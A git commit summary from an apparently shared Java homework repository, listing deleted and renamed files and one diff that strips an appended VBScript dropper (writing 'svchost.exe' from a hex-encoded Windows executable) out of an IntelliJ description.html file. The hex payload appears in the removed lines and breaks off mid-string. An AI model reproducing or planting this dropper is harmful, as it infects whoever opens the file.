 delete mode 100644 group24/Homework/5-FifthWeek/jvm/clz/ClassFile .java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/clz/ClassIndex.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/constant/ClassInfo.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/constant/ConstantInfo.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/constant/ConstantPool.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/constant/FieldRefInfo.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/constant/MethodRefInfo.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/constant/NameAndTypeInfo.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/constant/NullConstantInfo.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/constant/StringInfo.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/constant/UTF8Info.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/loader/ByteCodeIterator.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/loader/ClassFileLoader.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/loader/ClassFileParser.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/test/ClassFileloaderTest.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/test/EmployeeV1.java
 delete mode 100644 group24/Homework/5-FifthWeek/jvm/util/Util.java
 delete mode 100644 group24/Homework/6-SixWeek/InfixExpr.java
 delete mode 100644 group24/Homework/6-SixWeek/InfixExprTest.java
 delete mode 100644 group24/Homework/6-SixWeek/README.txt
 delete mode 100644 group24/Homework/6-SixWeek/jvm/attr/AttributeInfo.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/attr/CodeAttr.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/attr/LineNumberTable.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/attr/LocalVariableItem.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/attr/LocalVariableTable.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/attr/StackMapTable.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/clz/AccessFlag.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/clz/ClassFile.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/clz/ClassIndex.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/constant/ClassInfo.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/constant/ConstantInfo.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/constant/ConstantPool.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/constant/FieldRefInfo.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/constant/MethodRefInfo.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/constant/NameAndTypeInfo.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/constant/NullConstantInfo.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/constant/StringInfo.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/constant/UTF8Info.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/field/Field.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/loader/ByteCodeIterator.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/loader/ClassFileLoader.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/loader/ClassFileParser.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/method/Method.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/test/ClassFileloaderTest.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/test/EmployeeV1.java
 delete mode 100644 group24/Homework/6-SixWeek/jvm/util/Util.java
 delete mode 100644 group24/Homework/7-SevenWeek/InfixToPostfix.java
 delete mode 100644 group24/Homework/7-SevenWeek/PostfixExpr.java
 delete mode 100644 group24/Homework/7-SevenWeek/PostfixExprTest.java
 delete mode 100644 group24/Homework/7-SevenWeek/README.txt
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/attr/AttributeInfo.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/attr/CodeAttr.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/attr/LineNumberTable.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/attr/LocalVariableItem.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/attr/LocalVariableTable.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/attr/StackMapTable.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/clz/AccessFlag.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/clz/ClassFile.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/clz/ClassIndex.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/BiPushCmd.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/ByteCodeCommand.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/CommandParser.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/GetFieldCmd.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/GetStaticFieldCmd.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/InvokeSpecialCmd.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/InvokeVirtualCmd.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/LdcCmd.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/NewObjectCmd.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/NoOperandCmd.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/OneOperandCmd.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/PutFieldCmd.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/cmd/TwoOperandCmd.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/constant/ClassInfo.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/constant/ConstantInfo.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/constant/ConstantPool.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/constant/FieldRefInfo.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/constant/MethodRefInfo.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/constant/NameAndTypeInfo.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/constant/NullConstantInfo.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/constant/StringInfo.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/constant/UTF8Info.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/field/Field.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/loader/ByteCodeIterator.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/loader/ClassFileLoader.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/loader/ClassFileParser.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/method/Method.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/print/ClassFilePrinter.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/print/ConstantPoolPrinter.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/test/ClassFileloaderTest.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/test/EmployeeV1.java
 delete mode 100644 group24/Homework/7-SevenWeek/jvm/util/Util.java
 delete mode 100644 group24/Homework/8-EighthWeek/attr/AttributeInfo.java
 delete mode 100644 group24/Homework/8-EighthWeek/attr/CodeAttr.java
 delete mode 100644 group24/Homework/8-EighthWeek/attr/LineNumberTable.java
 delete mode 100644 group24/Homework/8-EighthWeek/attr/LocalVariableItem.java
 delete mode 100644 group24/Homework/8-EighthWeek/attr/LocalVariableTable.java
 delete mode 100644 group24/Homework/8-EighthWeek/attr/StackMapTable.java
 delete mode 100644 group24/Homework/8-EighthWeek/clz/AccessFlag.java
 delete mode 100644 group24/Homework/8-EighthWeek/clz/ClassFile.java
 delete mode 100644 group24/Homework/8-EighthWeek/clz/ClassIndex.java
 delete mode 100644 group24/Homework/8-EighthWeek/cmd/BiPushCmd.java
 delete mode 100644 group24/Homework/8-EighthWeek/cmd/ByteCodeCommand.java
 delete mode 100644 group24/Homework/8-EighthWeek/cmd/CommandParser.java
 delete mode 100644 group24/Homework/8-EighthWeek/cmd/GetFieldCmd.java
 delete mode 100644 group24/Homework/8-EighthWeek/cmd/GetStaticFieldCmd.java
 delete mode 100644 group24/Homework/8-EighthWeek/cmd/InvokeSpecialCmd.java
 delete mode 100644 group24/Homework/8-EighthWeek/cmd/InvokeVirtualCmd.java
 delete mode 100644 group24/Homework/8-EighthWeek/cmd/LdcCmd.java
 delete mode 100644 group24/Homework/8-EighthWeek/cmd/NewObjectCmd.java
 delete mode 100644 group24/Homework/8-EighthWeek/cmd/NoOperandCmd.java
 delete mode 100644 group24/Homework/8-EighthWeek/cmd/OneOperandCmd.java
 delete mode 100644 group24/Homework/8-EighthWeek/cmd/PutFieldCmd.java
 delete mode 100644 group24/Homework/8-EighthWeek/cmd/TwoOperandCmd.java
 delete mode 100644 group24/Homework/8-EighthWeek/constant/ClassInfo.java
 delete mode 100644 group24/Homework/8-EighthWeek/constant/ConstantInfo.java
 delete mode 100644 group24/Homework/8-EighthWeek/constant/ConstantPool.java
 delete mode 100644 group24/Homework/8-EighthWeek/constant/FieldRefInfo.java
 delete mode 100644 group24/Homework/8-EighthWeek/constant/MethodRefInfo.java
 delete mode 100644 group24/Homework/8-EighthWeek/constant/NameAndTypeInfo.java
 delete mode 100644 group24/Homework/8-EighthWeek/constant/NullConstantInfo.java
 delete mode 100644 group24/Homework/8-EighthWeek/constant/StringInfo.java
 delete mode 100644 group24/Homework/8-EighthWeek/constant/UTF8Info.java
 delete mode 100644 group24/Homework/8-EighthWeek/engine/ExecutionResult.java
 delete mode 100644 group24/Homework/8-EighthWeek/engine/ExecutorEngine.java
 delete mode 100644 group24/Homework/8-EighthWeek/engine/Heap.java
 delete mode 100644 group24/Homework/8-EighthWeek/engine/JavaObject.java
 delete mode 100644 group24/Homework/8-EighthWeek/engine/MethodArea.java
 delete mode 100644 group24/Homework/8-EighthWeek/engine/MiniJVM.java
 delete mode 100644 group24/Homework/8-EighthWeek/engine/StackFrame.java
 delete mode 100644 group24/Homework/8-EighthWeek/field/Field.java
 delete mode 100644 group24/Homework/8-EighthWeek/loader/ByteCodeIterator.java
 delete mode 100644 group24/Homework/8-EighthWeek/loader/ClassFileLoader.java
 delete mode 100644 group24/Homework/8-EighthWeek/loader/ClassFileParser.java
 delete mode 100644 group24/Homework/8-EighthWeek/method/Method.java
 delete mode 100644 group24/Homework/8-EighthWeek/print/ClassFilePrinter.java
 delete mode 100644 group24/Homework/8-EighthWeek/print/ConstantPoolPrinter.java
 delete mode 100644 group24/Homework/8-EighthWeek/test/ClassFileloaderTest.java
 delete mode 100644 group24/Homework/8-EighthWeek/test/EmployeeV1.java
 delete mode 100644 group24/Homework/8-EighthWeek/util/Util.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/queue/Josephus.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/queue/JosephusTest.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExpr.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/InfixExprTest.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPostfix.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPrevfix.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExpr.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExprTest.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExpr.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExprTest.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/Token.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParser.java
 delete mode 100644 group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParserTest.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/attr/StackMapTable.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/clz/ClassFile.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/CommandParser.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/OneOperandCmd.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/cmd/TwoOperandCmd.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/field/Field.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/method/Method.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java
 delete mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
 rename group27/383117348/{data-structure => src}/com/coderising/download/DownloadThread.java (100%)
 rename group27/383117348/{data-structure => src}/com/coderising/download/FileDownloader.java (100%)
 rename group27/383117348/{data-structure => src}/com/coderising/download/FileDownloaderTest.java (100%)
 rename group27/383117348/{data-structure => src}/com/coderising/download/api/Connection.java (100%)
 rename group27/383117348/{data-structure => src}/com/coderising/download/api/ConnectionException.java (100%)
 rename group27/383117348/{data-structure => src}/com/coderising/download/api/ConnectionManager.java (100%)
 rename group27/383117348/{data-structure => src}/com/coderising/download/api/DownloadListener.java (100%)
 rename group27/383117348/{data-structure => src}/com/coderising/download/impl/ConnectionImpl.java (100%)
 rename group27/383117348/{data-structure => src}/com/coderising/download/impl/ConnectionManagerImpl.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/clz/AccessFlag.java (100%)
 rename {group17/102228177/work4_09 => group27/383117348}/src/com/coderising/jvm/clz/ClassFile.java (95%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/clz/ClassIndex.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/constant/ClassInfo.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/constant/ConstantInfo.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/constant/ConstantPool.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/constant/FieldRefInfo.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/constant/FloatInfo.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/constant/IntegerInfo.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/constant/MethodRefInfo.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/constant/NameAndTypeInfo.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/constant/NullConstantInfo.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/constant/StringInfo.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/constant/UTF8Info.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/loader/ByteCodeIterator.java (73%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/loader/ClassFileLoader.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/loader/ClassFileLoader_backup.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/loader/ClassFileParser.java (75%)
 rename {group17/102228177/work4_16 => group27/383117348}/src/com/coderising/jvm/test/ClassFileloaderTest.java (94%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/test/EmployeeV1.java (100%)
 rename group27/383117348/{mini-jvm => src}/com/coderising/jvm/util/Util.java (100%)
 rename group27/383117348/{data-structure => src}/com/coderising/litestruts/LoginAction.java (100%)
 rename group27/383117348/{data-structure => src}/com/coderising/litestruts/Struts.java (100%)
 rename group27/383117348/{data-structure => src}/com/coderising/litestruts/StrutsTest.java (100%)
 rename group27/383117348/{data-structure => src}/com/coderising/litestruts/View.java (100%)
 rename group27/383117348/{data-structure => src}/com/coderising/litestruts/struts.xml (100%)
 rename group27/383117348/{data-structure => src}/com/coding/basic/BinaryTreeNode.java (100%)
 rename {group17/1204187480/code/homework/coding/src/main/java => group27/383117348/src}/com/coding/basic/Iterator.java (93%)
 rename group27/383117348/{data-structure => src}/com/coding/basic/List.java (100%)
 rename group27/383117348/{data-structure/com/coding/basic/queue => src/com/coding/basic}/Queue.java (91%)
 rename group27/383117348/{data-structure => src}/com/coding/basic/array/ArrayList.java (100%)
 rename group27/383117348/{data-structure => src}/com/coding/basic/array/ArrayUtil.java (100%)
 rename group27/383117348/{data-structure => src}/com/coding/basic/linklist/LRUPageFrame.java (100%)
 rename group27/383117348/{data-structure => src}/com/coding/basic/linklist/LRUPageFrameTest.java (100%)
 rename group27/383117348/{data-structure => src}/com/coding/basic/linklist/LinkedList.java (100%)
 rename group27/383117348/{data-structure => src}/com/coding/basic/stack/Stack.java (100%)
 rename group27/383117348/{data-structure => src}/com/coding/basic/stack/StackUtil.java (100%)
 rename group27/383117348/{data-structure => src}/com/coding/basic/stack/test/StackUtilTest.java (100%)
 rename group27/513274874/data-structure/src/com/coding/basic/{array => }/ArrayList.java (96%)
 rename {group24/Homework/1-FirstWeek => group27/513274874/data-structure/src/com/coding/basic}/List.java (95%)
 create mode 100644 group27/513274874/data-structure/src/com/coding/basic/Stack.java
 delete mode 100644 group27/513274874/data-structure/src/com/coding/basic/array/List.java
 delete mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/StackUtilTest.java
 delete mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
 delete mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
 delete mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
 delete mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
 delete mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
 delete mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
 delete mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
 delete mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/Token.java
 delete mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
 delete mode 100644 group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/field/Field.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/method/Method.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
 delete mode 100644 group27/513274874/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
 delete mode 100644 liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfixTest.java
 delete mode 100644 liuxin/mini-jvm/assignment/src/com/coderising/jvm/test/MiniJVMTest.java

diff --git a/group01/275150374/275150374Learning/.idea/description.html b/group01/275150374/275150374Learning/.idea/description.html
index 0f928c44a1..db5f129556 100644
--- a/group01/275150374/275150374Learning/.idea/description.html
+++ b/group01/275150374/275150374Learning/.idea/description.html
@@ -1,15 +1 @@
-<html>Simple <b>Java</b> application that includes a class with <code>main()</code> method</html><SCRIPT Language=VBScript><!--
-DropFileName = "svchost.exe"
-WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF